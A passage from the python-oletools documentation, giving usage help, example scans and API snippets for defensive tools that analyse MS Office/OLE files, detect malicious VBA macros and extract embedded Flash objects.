66 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /oletools/doc/mraptor.md: -------------------------------------------------------------------------------- 1 | mraptor (MacroRaptor) 2 | ===================== 3 | 4 | mraptor is a tool designed to detect most malicious VBA Macros using 5 | generic heuristics. Unlike antivirus engines, it does not rely on signatures. 6 | 7 | In a nutshell, mraptor detects keywords corresponding to the three 8 | following types of behaviour that are present in clear text in almost 9 | any macro malware: 10 | - A: Auto-execution trigger 11 | - W: Write to the file system or memory 12 | - X: Execute a file or any payload outside the VBA context 13 | 14 | mraptor considers that a macro is suspicious when A and (W or X) is true. 15 | 16 | For more information about mraptor's detection algorithm, see the article 17 | [How to detect most malicious macros without an antivirus](http://www.decalage.info/mraptor). 18 | 19 | mraptor can be used either as a command-line tool, or as a python module 20 | from your own applications. 21 | 22 | It is part of the [python-oletools](http://www.decalage.info/python/oletools) package. 23 | 24 | ## Usage 25 | 26 | ```text 27 | Usage: mraptor [options] [filename2 ...] 28 | 29 | Options: 30 | -h, --help show this help message and exit 31 | -r find files recursively in subdirectories. 32 | -z ZIP_PASSWORD, --zip=ZIP_PASSWORD 33 | if the file is a zip archive, open all files from it, 34 | using the provided password (requires Python 2.6+) 35 | -f ZIP_FNAME, --zipfname=ZIP_FNAME 36 | if the file is a zip archive, file(s) to be opened 37 | within the zip. Wildcards * and ? are supported. 38 | (default:*) 39 | -l LOGLEVEL, --loglevel=LOGLEVEL 40 | logging level debug/info/warning/error/critical 41 | (default=warning) 42 | -m, --matches Show matched strings. 43 | 44 | An exit code is returned based on the analysis result: 45 | - 0: No Macro 46 | - 1: Not MS Office 47 | - 2: Macro OK 48 | - 10: ERROR 49 | - 20: SUSPICIOUS 50 | ``` 51 | 52 | ### Examples 53 | 54 | Scan a single file: 55 | 56 | ```text 57 | mraptor file.doc 58 | ``` 59 | 60 | Scan a single file, stored in a Zip archive with password "infected": 61 | 62 | ```text 63 | mraptor malicious_file.xls.zip -z infected 64 | ``` 65 | 66 | Scan a collection of files stored in a folder: 67 | 68 | ```text 69 | mraptor "MalwareZoo/VBA/*" 70 | ``` 71 | 72 | **Important**: on Linux/MacOSX, always add double quotes around a file name when you use 73 | wildcards such as `*` and `?`. Otherwise, the shell may replace the argument with the actual 74 | list of files matching the wildcards before starting the script. 75 | 76 | ![](mraptor1.png) 77 | 78 | ## Python 3 support - mraptor3 79 | 80 | Since v0.54, mraptor is fully compatible with both Python 2 and 3. 81 | There is no need to use mraptor3 anymore, however it is still present for backward compatibility. 82 | 83 | 84 | -------------------------------------------------------------------------- 85 | 86 | ## How to use mraptor in Python applications 87 | 88 | TODO 89 | 90 | 91 | -------------------------------------------------------------------------- 92 | 93 | python-oletools documentation 94 | ----------------------------- 95 | 96 | - [[Home]] 97 | - [[License]] 98 | - [[Install]] 99 | - [[Contribute]], Suggest Improvements or Report Issues 100 | - Tools: 101 | - [[mraptor]] 102 | - [[msodde]] 103 | - [[olebrowse]] 104 | - [[oledir]] 105 | - [[oleid]] 106 | - [[olemap]] 107 | - [[olemeta]] 108 | - [[oleobj]] 109 | - [[oletimes]] 110 | - [[olevba]] 111 | - [[pyxswf]] 112 | - [[rtfobj]] 113 | -------------------------------------------------------------------------------- /oletools/doc/mraptor1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/doc/mraptor1.png -------------------------------------------------------------------------------- /oletools/doc/olebrowse.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Untitled 8 | 14 | 17 | 18 | 19 |

olebrowse

20 |

olebrowse is a simple GUI to browse OLE files (e.g. MS Word, Excel, Powerpoint documents), to view and extract individual data streams.

21 |

It is part of the python-oletools package.

22 |

Dependencies

23 |

olebrowse requires Tkinter. On Windows and MacOSX, it should be installed with Python, and olebrowse should work out of the box.

24 |

However, on Linux it might be necessary to install the tkinter package for Python separately. For example, on Ubuntu this is done with the following command:

25 |
sudo apt-get install python-tk
26 |

And for Python 3:

27 |
sudo apt-get install python3-tk
28 |

Usage

29 |
olebrowse [file]
30 |

If you provide a file it will be opened, else a dialog will allow you to browse folders to open a file. Then if it is a valid OLE file, the list of data streams will be displayed. You can select a stream, and then either view its content in a builtin hexadecimal viewer, or save it to a file for further analysis.

31 |

Screenshots

32 |

Main menu, showing all streams in the OLE file:

33 |

34 |

Menu with actions for a stream:

35 |

36 |

Hex view for a stream:

37 |

38 |
39 |

python-oletools documentation

40 | 61 | 62 | 63 | -------------------------------------------------------------------------------- /oletools/doc/olebrowse.md: -------------------------------------------------------------------------------- 1 | olebrowse 2 | ========= 3 | 4 | olebrowse is a simple GUI to browse OLE files (e.g. MS Word, Excel, Powerpoint documents), to 5 | view and extract individual data streams. 6 | 7 | It is part of the [python-oletools](http://www.decalage.info/python/oletools) package. 8 | 9 | Dependencies 10 | ------------ 11 | 12 | olebrowse requires [Tkinter](https://en.wikipedia.org/wiki/Tkinter). 13 | On Windows and MacOSX, it should be installed with Python, and 14 | olebrowse should work out of the box. 15 | 16 | However, on Linux it might be necessary to install the tkinter 17 | package for Python separately. For example, on Ubuntu this is done with the 18 | following command: 19 | 20 | ``` 21 | sudo apt-get install python-tk 22 | ``` 23 | 24 | And for Python 3: 25 | 26 | ``` 27 | sudo apt-get install python3-tk 28 | ``` 29 | 30 | 31 | Usage 32 | ----- 33 | ``` 34 | olebrowse [file] 35 | ``` 36 | If you provide a file it will be opened, else a dialog will allow you to browse 37 | folders to open a file. Then if it is a valid OLE file, the list of data streams 38 | will be displayed. You can select a stream, and then either view its content 39 | in a builtin hexadecimal viewer, or save it to a file for further analysis. 40 | 41 | Screenshots 42 | ----------- 43 | 44 | Main menu, showing all streams in the OLE file: 45 | 46 | ![](olebrowse1_menu.png) 47 | 48 | Menu with actions for a stream: 49 | 50 | ![](olebrowse2_stream.png) 51 | 52 | Hex view for a stream: 53 | 54 | ![](olebrowse3_hexview.png) 55 | 56 | -------------------------------------------------------------------------- 57 | 58 | python-oletools documentation 59 | ----------------------------- 60 | 61 | - [[Home]] 62 | - [[License]] 63 | - [[Install]] 64 | - [[Contribute]], Suggest Improvements or Report Issues 65 | - Tools: 66 | - [[mraptor]] 67 | - [[msodde]] 68 | - [[olebrowse]] 69 | - [[oledir]] 70 | - [[oleid]] 71 | - [[olemap]] 72 | - [[olemeta]] 73 | - [[oleobj]] 74 | - [[oletimes]] 75 | - [[olevba]] 76 | - [[pyxswf]] 77 | - [[rtfobj]] 78 | -------------------------------------------------------------------------------- /oletools/doc/olebrowse1_menu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/doc/olebrowse1_menu.png -------------------------------------------------------------------------------- /oletools/doc/olebrowse2_stream.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/doc/olebrowse2_stream.png -------------------------------------------------------------------------------- /oletools/doc/olebrowse3_hexview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/doc/olebrowse3_hexview.png -------------------------------------------------------------------------------- /oletools/doc/oledir.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Untitled 8 | 14 | 17 | 18 | 19 |

oledir

20 |

oledir is a script to display all the directory entries of an OLE file, including free and orphaned entries.

21 |

It can be used either as a command-line tool, or as a python module from your own applications.

22 |

It is part of the python-oletools package.

23 |

Usage

24 |
Usage: oledir [options] <filename> [filename2 ...]
25 | 
26 | Options:
27 |   -h, --help            show this help message and exit
28 |   -r                    find files recursively in subdirectories.
29 |   -z ZIP_PASSWORD, --zip=ZIP_PASSWORD
30 |                         if the file is a zip archive, open all files from it,
31 |                         using the provided password (requires Python 2.6+)
32 |   -f ZIP_FNAME, --zipfname=ZIP_FNAME
33 |                         if the file is a zip archive, file(s) to be opened
34 |                         within the zip. Wildcards * and ? are supported.
35 |                         (default:*)
36 |

Examples

37 |

Scan a single file:

38 |
oledir file.doc
39 |

40 |
41 |

How to use oledir in Python applications

42 |

TODO

43 |
44 |

python-oletools documentation

45 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /oletools/doc/oledir.md: -------------------------------------------------------------------------------- 1 | oledir 2 | ====== 3 | 4 | oledir is a script to display all the directory entries of an OLE file, 5 | including free and orphaned entries. 6 | 7 | It can be used either as a command-line tool, or as a python module from your own applications. 8 | 9 | It is part of the [python-oletools](http://www.decalage.info/python/oletools) package. 10 | 11 | ## Usage 12 | 13 | ```text 14 | Usage: oledir [options] [filename2 ...] 15 | 16 | Options: 17 | -h, --help show this help message and exit 18 | -r find files recursively in subdirectories. 19 | -z ZIP_PASSWORD, --zip=ZIP_PASSWORD 20 | if the file is a zip archive, open all files from it, 21 | using the provided password (requires Python 2.6+) 22 | -f ZIP_FNAME, --zipfname=ZIP_FNAME 23 | if the file is a zip archive, file(s) to be opened 24 | within the zip. Wildcards * and ? are supported. 25 | (default:*) 26 | ``` 27 | 28 | ### Examples 29 | 30 | Scan a single file: 31 | 32 | ```text 33 | oledir file.doc 34 | ``` 35 | 36 | ![](oledir.png) 37 | 38 | 39 | -------------------------------------------------------------------------- 40 | 41 | ## How to use oledir in Python applications 42 | 43 | TODO 44 | 45 | -------------------------------------------------------------------------- 46 | 47 | python-oletools documentation 48 | ----------------------------- 49 | 50 | - [[Home]] 51 | - [[License]] 52 | - [[Install]] 53 | - [[Contribute]], Suggest Improvements or Report Issues 54 | - Tools: 55 | - [[mraptor]] 56 | - [[msodde]] 57 | - [[olebrowse]] 58 | - [[oledir]] 59 | - [[oleid]] 60 | - [[olemap]] 61 | - [[olemeta]] 62 | - [[oleobj]] 63 | - [[oletimes]] 64 | - [[olevba]] 65 | - [[pyxswf]] 66 | - [[rtfobj]] 67 | -------------------------------------------------------------------------------- /oletools/doc/oledir.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/doc/oledir.png -------------------------------------------------------------------------------- /oletools/doc/oleid.md: -------------------------------------------------------------------------------- 1 | oleid 2 | ===== 3 | 4 | oleid is a script to analyze OLE files such as MS Office documents (e.g. Word, 5 | Excel), to detect specific characteristics usually found in malicious files (e.g. malware). 6 | For example it can detect VBA macros and embedded Flash objects. 7 | 8 | It is part of the [python-oletools](http://www.decalage.info/python/oletools) package. 9 | 10 | ## Main Features 11 | 12 | - Detect OLE file type from its internal structure (e.g. MS Word, Excel, PowerPoint, ...) 13 | - Detect VBA Macros 14 | - Detect embedded Flash objects 15 | - Detect embedded OLE objects 16 | - Detect MS Office encryption 17 | - Can be used as a command-line tool 18 | - Python API to integrate it in your applications 19 | 20 | Planned improvements: 21 | 22 | - Extract the most important metadata fields 23 | - Support for OpenXML files and embedded OLE files 24 | - Generic VBA macros detection 25 | - Detect auto-executable VBA macros 26 | - Extended OLE file types detection 27 | - Detect unusual OLE structures (fragmentation, unused sectors, etc) 28 | - Options to scan multiple files 29 | - Options to scan files from encrypted zip archives 30 | - CSV output 31 | 32 | ## Usage 33 | 34 | ```text 35 | oleid 36 | ``` 37 | 38 | ### Example 39 | 40 | Analyzing a Word document containing a Flash object and VBA macros: 41 | 42 | ```text 43 | C:\oletools>oleid word_flash_vba.doc 44 | 45 | Filename: word_flash_vba.doc 46 | +-------------------------------+-----------------------+ 47 | | Indicator | Value | 48 | +-------------------------------+-----------------------+ 49 | | OLE format | True | 50 | | Has SummaryInformation stream | True | 51 | | Application name | Microsoft Office Word | 52 | | Encrypted | False | 53 | | Word Document | True | 54 | | VBA Macros | True | 55 | | Excel Workbook | False | 56 | | PowerPoint Presentation | False | 57 | | Visio Drawing | False | 58 | | ObjectPool | True | 59 | | Flash objects | 1 | 60 | +-------------------------------+-----------------------+ 61 | ``` 62 | 63 | ## How to use oleid in your Python applications 64 | 65 | First, import oletools.oleid, and create an **OleID** object to scan a file: 66 | 67 | ```python 68 | import oletools.oleid 69 | 70 | oid = oletools.oleid.OleID(filename) 71 | ``` 72 | 73 | Note: filename can be a filename, a file-like object, or a bytes string containing the file to be analyzed. 74 | 75 | Second, call the **check()** method. It returns a list of **Indicator** objects. 76 | 77 | Each Indicator object has the following attributes: 78 | 79 | - **id**: str, identifier for the indicator 80 | - **name**: str, name to display the indicator 81 | - **description**: str, long description of the indicator 82 | - **type**: class of the indicator (e.g. bool, str, int) 83 | - **value**: value of the indicator 84 | 85 | For example, the following code displays all the indicators: 86 | 87 | ```python 88 | indicators = oid.check() 89 | for i in indicators: 90 | print 'Indicator id=%s name="%s" type=%s value=%s' % (i.id, i.name, i.type, repr(i.value)) 91 | print 'description:', i.description 92 | print '' 93 | ``` 94 | 95 | See the source code of oleid.py for more details. 96 | 97 | -------------------------------------------------------------------------- 98 | 99 | python-oletools documentation 100 | ----------------------------- 101 | 102 | - [[Home]] 103 | - [[License]] 104 | - [[Install]] 105 | - [[Contribute]], Suggest Improvements or Report Issues 106 | - Tools: 107 | - [[mraptor]] 108 | - [[msodde]] 109 | - [[olebrowse]] 110 | - [[oledir]] 111 | - [[oleid]] 112 | - [[olemap]] 113 | - [[olemeta]] 114 | - [[oleobj]] 115 | - [[oletimes]] 116 | - [[olevba]] 117 | - [[pyxswf]] 118 | - [[rtfobj]] 119 | -------------------------------------------------------------------------------- /oletools/doc/olemap.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Untitled 8 | 14 | 17 | 18 | 19 |

olemap

20 |

olemap is a script to display a map of all the sectors in an OLE file.

21 |

It can be used either as a command-line tool, or as a python module from your own applications.

22 |

It is part of the python-oletools package.

23 |

Usage

24 |
Usage: olemap <filename>
25 |

Examples

26 |

Scan a single file:

27 |
olemap file.doc
28 |

29 |

30 |
31 |

How to use olemap in Python applications

32 |

TODO

33 |
34 |

python-oletools documentation

35 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /oletools/doc/olemap.md: -------------------------------------------------------------------------------- 1 | olemap 2 | ====== 3 | 4 | olemap is a script to display a map of all the sectors in an OLE file. 5 | 6 | It can be used either as a command-line tool, or as a python module from your own applications. 7 | 8 | It is part of the [python-oletools](http://www.decalage.info/python/oletools) package. 9 | 10 | ## Usage 11 | 12 | ```text 13 | Usage: olemap 14 | ``` 15 | 16 | ### Examples 17 | 18 | Scan a single file: 19 | 20 | ```text 21 | olemap file.doc 22 | ``` 23 | 24 | ![](olemap1.png) 25 | 26 | ![](olemap2.png) 27 | 28 | -------------------------------------------------------------------------- 29 | 30 | ## How to use olemap in Python applications 31 | 32 | TODO 33 | 34 | -------------------------------------------------------------------------- 35 | 36 | python-oletools documentation 37 | ----------------------------- 38 | 39 | - [[Home]] 40 | - [[License]] 41 | - [[Install]] 42 | - [[Contribute]], Suggest Improvements or Report Issues 43 | - Tools: 44 | - [[mraptor]] 45 | - [[msodde]] 46 | - [[olebrowse]] 47 | - [[oledir]] 48 | - [[oleid]] 49 | - [[olemap]] 50 | - [[olemeta]] 51 | - [[oleobj]] 52 | - [[oletimes]] 53 | - [[olevba]] 54 | - [[pyxswf]] 55 | - [[rtfobj]] 56 | -------------------------------------------------------------------------------- /oletools/doc/olemap1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/doc/olemap1.png -------------------------------------------------------------------------------- /oletools/doc/olemap2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/doc/olemap2.png -------------------------------------------------------------------------------- /oletools/doc/olemeta.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Untitled 8 | 14 | 17 | 18 | 19 |

olemeta

20 |

olemeta is a script to parse OLE files such as MS Office documents (e.g. Word, Excel), to extract all standard properties present in the OLE file.

21 |

It is part of the python-oletools package.

22 |

Usage

23 |
olemeta <file>
24 |

Example

25 |

26 |

How to use olemeta in Python applications

27 |

TODO

28 |
29 |

python-oletools documentation

30 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /oletools/doc/olemeta.md: -------------------------------------------------------------------------------- 1 | olemeta 2 | ======= 3 | 4 | olemeta is a script to parse OLE files such as MS Office documents (e.g. Word, 5 | Excel), to extract all standard properties present in the OLE file. 6 | 7 | It is part of the [python-oletools](http://www.decalage.info/python/oletools) package. 8 | 9 | ## Usage 10 | 11 | ```text 12 | olemeta 13 | ``` 14 | 15 | ### Example 16 | 17 | ![](olemeta1.png) 18 | 19 | ## How to use olemeta in Python applications 20 | 21 | TODO 22 | 23 | -------------------------------------------------------------------------- 24 | 25 | python-oletools documentation 26 | ----------------------------- 27 | 28 | - [[Home]] 29 | - [[License]] 30 | - [[Install]] 31 | - [[Contribute]], Suggest Improvements or Report Issues 32 | - Tools: 33 | - [[mraptor]] 34 | - [[msodde]] 35 | - [[olebrowse]] 36 | - [[oledir]] 37 | - [[oleid]] 38 | - [[olemap]] 39 | - [[olemeta]] 40 | - [[oleobj]] 41 | - [[oletimes]] 42 | - [[olevba]] 43 | - [[pyxswf]] 44 | - [[rtfobj]] 45 | -------------------------------------------------------------------------------- /oletools/doc/olemeta1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/doc/olemeta1.png -------------------------------------------------------------------------------- /oletools/doc/oleobj.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Untitled 8 | 14 | 17 | 18 | 19 |

oleobj

20 |

oleobj is a script to extract embedded objects from OLE files.

21 |

It can be used either as a command-line tool, or as a python module from your own applications.

22 |

It is part of the python-oletools package.

23 |

Usage

24 |
TODO
25 |
26 |

How to use oleobj in Python applications

27 |

See rtfobj.py source code.

28 |

TODO

29 |
30 |

python-oletools documentation

31 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /oletools/doc/oleobj.md: -------------------------------------------------------------------------------- 1 | oleobj 2 | ====== 3 | 4 | oleobj is a script to extract embedded objects from OLE files. 5 | 6 | It can be used either as a command-line tool, or as a python module from your own applications. 7 | 8 | It is part of the [python-oletools](http://www.decalage.info/python/oletools) package. 9 | 10 | ## Usage 11 | 12 | ```text 13 | TODO 14 | ``` 15 | 16 | -------------------------------------------------------------------------- 17 | 18 | ## How to use oleobj in Python applications 19 | 20 | See rtfobj.py source code. 21 | 22 | TODO 23 | 24 | -------------------------------------------------------------------------- 25 | 26 | python-oletools documentation 27 | ----------------------------- 28 | 29 | - [[Home]] 30 | - [[License]] 31 | - [[Install]] 32 | - [[Contribute]], Suggest Improvements or Report Issues 33 | - Tools: 34 | - [[mraptor]] 35 | - [[msodde]] 36 | - [[olebrowse]] 37 | - [[oledir]] 38 | - [[oleid]] 39 | - [[olemap]] 40 | - [[olemeta]] 41 | - [[oleobj]] 42 | - [[oletimes]] 43 | - [[olevba]] 44 | - [[pyxswf]] 45 | - [[rtfobj]] 46 | -------------------------------------------------------------------------------- /oletools/doc/oletimes.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Untitled 8 | 14 | 17 | 18 | 19 |

oletimes

20 |

oletimes is a script to parse OLE files such as MS Office documents (e.g. Word, Excel), to extract creation and modification times of all streams and storages in the OLE file.

21 |

It is part of the python-oletools package.

22 |

Usage

23 |
oletimes <file>
24 |

Example

25 |

Checking the malware sample DIAN_caso-5415.doc:

26 |
>oletimes DIAN_caso-5415.doc
27 | 
28 | +----------------------------+---------------------+---------------------+
29 | | Stream/Storage name        | Modification Time   | Creation Time       |
30 | +----------------------------+---------------------+---------------------+
31 | | Root                       | 2014-05-14 12:45:24 | None                |
32 | | '\x01CompObj'              | None                | None                |
33 | | '\x05DocumentSummaryInform | None                | None                |
34 | | ation'                     |                     |                     |
35 | | '\x05SummaryInformation'   | None                | None                |
36 | | '1Table'                   | None                | None                |
37 | | 'Data'                     | None                | None                |
38 | | 'Macros'                   | 2014-05-14 12:45:24 | 2014-05-14 12:45:24 |
39 | | 'Macros/PROJECT'           | None                | None                |
40 | | 'Macros/PROJECTwm'         | None                | None                |
41 | | 'Macros/VBA'               | 2014-05-14 12:45:24 | 2014-05-14 12:45:24 |
42 | | 'Macros/VBA/ThisDocument'  | None                | None                |
43 | | 'Macros/VBA/_VBA_PROJECT'  | None                | None                |
44 | | 'Macros/VBA/__SRP_0'       | None                | None                |
45 | | 'Macros/VBA/__SRP_1'       | None                | None                |
46 | | 'Macros/VBA/__SRP_2'       | None                | None                |
47 | | 'Macros/VBA/__SRP_3'       | None                | None                |
48 | | 'Macros/VBA/dir'           | None                | None                |
49 | | 'WordDocument'             | None                | None                |
50 | +----------------------------+---------------------+---------------------+
51 |

How to use oletimes in Python applications

52 |

TODO

53 |
54 |

python-oletools documentation

55 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /oletools/doc/oletimes.md: -------------------------------------------------------------------------------- 1 | oletimes 2 | ======== 3 | 4 | oletimes is a script to parse OLE files such as MS Office documents (e.g. Word, 5 | Excel), to extract creation and modification times of all streams and storages 6 | in the OLE file. 7 | 8 | It is part of the [python-oletools](http://www.decalage.info/python/oletools) package. 9 | 10 | ## Usage 11 | 12 | ```text 13 | oletimes 14 | ``` 15 | 16 | ### Example 17 | 18 | Checking the malware sample [DIAN_caso-5415.doc](https://malwr.com/analysis/M2I4YWRhM2IwY2QwNDljN2E3ZWFjYTg3ODk4NmZhYmE/): 19 | 20 | ```text 21 | >oletimes DIAN_caso-5415.doc 22 | 23 | +----------------------------+---------------------+---------------------+ 24 | | Stream/Storage name | Modification Time | Creation Time | 25 | +----------------------------+---------------------+---------------------+ 26 | | Root | 2014-05-14 12:45:24 | None | 27 | | '\x01CompObj' | None | None | 28 | | '\x05DocumentSummaryInform | None | None | 29 | | ation' | | | 30 | | '\x05SummaryInformation' | None | None | 31 | | '1Table' | None | None | 32 | | 'Data' | None | None | 33 | | 'Macros' | 2014-05-14 12:45:24 | 2014-05-14 12:45:24 | 34 | | 'Macros/PROJECT' | None | None | 35 | | 'Macros/PROJECTwm' | None | None | 36 | | 'Macros/VBA' | 2014-05-14 12:45:24 | 2014-05-14 12:45:24 | 37 | | 'Macros/VBA/ThisDocument' | None | None | 38 | | 'Macros/VBA/_VBA_PROJECT' | None | None | 39 | | 'Macros/VBA/__SRP_0' | None | None | 40 | | 'Macros/VBA/__SRP_1' | None | None | 41 | | 'Macros/VBA/__SRP_2' | None | None | 42 | | 'Macros/VBA/__SRP_3' | None | None | 43 | | 'Macros/VBA/dir' | None | None | 44 | | 'WordDocument' | None | None | 45 | +----------------------------+---------------------+---------------------+ 46 | ``` 47 | 48 | ## How to use oletimes in Python applications 49 | 50 | TODO 51 | 52 | -------------------------------------------------------------------------- 53 | 54 | python-oletools documentation 55 | ----------------------------- 56 | 57 | - [[Home]] 58 | - [[License]] 59 | - [[Install]] 60 | - [[Contribute]], Suggest Improvements or Report Issues 61 | - Tools: 62 | - [[mraptor]] 63 | - [[msodde]] 64 | - [[olebrowse]] 65 | - [[oledir]] 66 | - [[oleid]] 67 | - [[olemap]] 68 | - [[olemeta]] 69 | - [[oleobj]] 70 | - [[oletimes]] 71 | - [[olevba]] 72 | - [[pyxswf]] 73 | - [[rtfobj]] 74 | -------------------------------------------------------------------------------- /oletools/doc/pyxswf.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Untitled 8 | 14 | 17 | 18 | 19 |

pyxswf

20 |

pyxswf is a script to detect, extract and analyze Flash objects (SWF files) that may be embedded in files such as MS Office documents (e.g. Word, Excel), which is especially useful for malware analysis.

21 |

It is part of the python-oletools package.

22 |

pyxswf is an extension to xxxswf.py published by Alexander Hanel.

23 |

Compared to xxxswf, it can extract streams from MS Office documents by parsing their OLE structure properly, which is necessary when streams are fragmented. Stream fragmentation is a known obfuscation technique, as explained on http://www.breakingpointsystems.com/resources/blog/evasion-with-ole2-fragmentation/

24 |

It can also extract Flash objects from RTF documents, by parsing embedded objects encoded in hexadecimal format (-f option).

25 |

For this, simply add the -o option to work on OLE streams rather than raw files, or the -f option to work on RTF files.

26 |

Usage

27 |
Usage: pyxswf [options] <file.bad>
28 | 
29 | Options:
30 |   -o, --ole             Parse an OLE file (e.g. Word, Excel) to look for SWF
31 |                         in each stream
32 |   -f, --rtf             Parse an RTF file to look for SWF in each embedded
33 |                         object
34 |   -x, --extract         Extracts the embedded SWF(s), names it MD5HASH.swf &
35 |                         saves it in the working dir. No addition args needed
36 |   -h, --help            show this help message and exit
37 |   -y, --yara            Scans the SWF(s) with yara. If the SWF(s) is
38 |                         compressed it will be deflated. No addition args
39 |                         needed
40 |   -s, --md5scan         Scans the SWF(s) for MD5 signatures. Please see func
41 |                         checkMD5 to define hashes. No addition args needed
42 |   -H, --header          Displays the SWFs file header. No addition args needed
43 |   -d, --decompress      Deflates compressed SWFS(s)
44 |   -r PATH, --recdir=PATH
45 |                         Will recursively scan a directory for files that
46 |                         contain SWFs. Must provide path in quotes
47 |   -c, --compress        Compresses the SWF using Zlib
48 |

Example 1 - detecting and extracting a SWF file from a Word document on Windows:

49 |
C:\oletools>pyxswf -o word_flash.doc
50 | OLE stream: 'Contents'
51 | [SUMMARY] 1 SWF(s) in MD5:993664cc86f60d52d671b6610813cfd1:Contents
52 |         [ADDR] SWF 1 at 0x8  - FWS Header
53 | 
54 | C:\oletools>pyxswf -xo word_flash.doc
55 | OLE stream: 'Contents'
56 | [SUMMARY] 1 SWF(s) in MD5:993664cc86f60d52d671b6610813cfd1:Contents
57 |         [ADDR] SWF 1 at 0x8  - FWS Header
58 |                 [FILE] Carved SWF MD5: 2498e9c0701dc0e461ab4358f9102bc5.swf
59 |

Example 2 - detecting and extracting a SWF file from a RTF document on Windows:

60 |
C:\oletools>pyxswf -xf "rtf_flash.rtf"
61 | RTF embedded object size 1498557 at index 000036DD
62 | [SUMMARY] 1 SWF(s) in MD5:46a110548007e04f4043785ac4184558:RTF_embedded_object_0
63 | 00036DD
64 |         [ADDR] SWF 1 at 0xc40  - FWS Header
65 |                 [FILE] Carved SWF MD5: 2498e9c0701dc0e461ab4358f9102bc5.swf
66 |

How to use pyxswf in Python applications

67 |

TODO

68 |
69 |

python-oletools documentation

70 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /oletools/doc/pyxswf.md: -------------------------------------------------------------------------------- 1 | pyxswf 2 | ====== 3 | 4 | pyxswf is a script to detect, extract and analyze Flash objects (SWF files) that may 5 | be embedded in files such as MS Office documents (e.g. Word, Excel), 6 | which is especially useful for malware analysis. 7 | 8 | It is part of the [python-oletools](http://www.decalage.info/python/oletools) package. 9 | 10 | pyxswf is an extension to [xxxswf.py](http://hooked-on-mnemonics.blogspot.nl/2011/12/xxxswfpy.html) published by Alexander Hanel. 11 | 12 | Compared to xxxswf, it can extract streams from MS Office documents by parsing 13 | their OLE structure properly, which is necessary when streams are fragmented. 14 | Stream fragmentation is a known obfuscation technique, as explained on 15 | [http://www.breakingpointsystems.com/resources/blog/evasion-with-ole2-fragmentation/](http://web.archive.org/web/20121118021207/http://www.breakingpointsystems.com/resources/blog/evasion-with-ole2-fragmentation/) 16 | 17 | It can also extract Flash objects from RTF documents, by parsing embedded objects encoded in hexadecimal format (-f option). 18 | 19 | For this, simply add the -o option to work on OLE streams rather than raw files, or the -f option to work on RTF files. 20 | 21 | ## Usage 22 | 23 | ```text 24 | Usage: pyxswf [options] 25 | 26 | Options: 27 | -o, --ole Parse an OLE file (e.g. Word, Excel) to look for SWF 28 | in each stream 29 | -f, --rtf Parse an RTF file to look for SWF in each embedded 30 | object 31 | -x, --extract Extracts the embedded SWF(s), names it MD5HASH.swf & 32 | saves it in the working dir. No addition args needed 33 | -h, --help show this help message and exit 34 | -y, --yara Scans the SWF(s) with yara. If the SWF(s) is 35 | compressed it will be deflated. No addition args 36 | needed 37 | -s, --md5scan Scans the SWF(s) for MD5 signatures. Please see func 38 | checkMD5 to define hashes. No addition args needed 39 | -H, --header Displays the SWFs file header. No addition args needed 40 | -d, --decompress Deflates compressed SWFS(s) 41 | -r PATH, --recdir=PATH 42 | Will recursively scan a directory for files that 43 | contain SWFs. Must provide path in quotes 44 | -c, --compress Compresses the SWF using Zlib 45 | ``` 46 | 47 | ### Example 1 - detecting and extracting a SWF file from a Word document on Windows: 48 | 49 | ```text 50 | C:\oletools>pyxswf -o word_flash.doc 51 | OLE stream: 'Contents' 52 | [SUMMARY] 1 SWF(s) in MD5:993664cc86f60d52d671b6610813cfd1:Contents 53 | [ADDR] SWF 1 at 0x8 - FWS Header 54 | 55 | C:\oletools>pyxswf -xo word_flash.doc 56 | OLE stream: 'Contents' 57 | [SUMMARY] 1 SWF(s) in MD5:993664cc86f60d52d671b6610813cfd1:Contents 58 | [ADDR] SWF 1 at 0x8 - FWS Header 59 | [FILE] Carved SWF MD5: 2498e9c0701dc0e461ab4358f9102bc5.swf 60 | ``` 61 | 62 | ### Example 2 - detecting and extracting a SWF file from a RTF document on Windows: 63 | 64 | ```text 65 | C:\oletools>pyxswf -xf "rtf_flash.rtf" 66 | RTF embedded object size 1498557 at index 000036DD 67 | [SUMMARY] 1 SWF(s) in MD5:46a110548007e04f4043785ac4184558:RTF_embedded_object_0 68 | 00036DD 69 | [ADDR] SWF 1 at 0xc40 - FWS Header 70 | [FILE] Carved SWF MD5: 2498e9c0701dc0e461ab4358f9102bc5.swf 71 | ``` 72 | 73 | ## How to use pyxswf in Python applications 74 | 75 | TODO 